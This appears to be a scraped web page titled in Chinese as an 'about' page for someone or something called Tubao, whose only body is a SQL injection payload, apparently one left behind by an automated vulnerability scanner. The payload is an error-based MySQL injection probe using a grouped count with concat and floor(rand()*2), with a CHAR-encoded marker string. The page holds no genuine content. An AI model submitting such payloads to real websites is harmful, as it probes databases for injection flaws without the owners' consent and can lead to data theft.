關於兔寶

"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(102),CHAR(109),CHAR(97),CHAR(113),CHAR(99),CHAR(104),CHAR(118),CHAR(119)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"